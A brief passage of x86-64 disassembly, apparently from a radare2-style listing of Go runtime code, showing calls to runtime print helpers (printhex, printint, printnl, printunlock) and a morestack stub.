call dbg.runtime.printhex
call dbg.runtime.printsp
mov rax, qword [rsp + 0x80]
mov qword [rsp], rax
call dbg.runtime.printhex
call dbg.runtime.printsp
mov rax, qword [rsp + 0x48]
mov qword [rsp], rax
call dbg.runtime.printhex
call dbg.runtime.printsp
mov eax, dword [rsp + 0x3c]
movsxd rcx, eax
mov qword [rsp], rcx
call dbg.runtime.printint
call dbg.runtime.printnl
call dbg.runtime.printunlock
mov eax, dword [rsp + 0x3c]
jmp 0x4432e1
call dbg.runtime.morestack_noctxt
jmp dbg.runtime.funcspdelta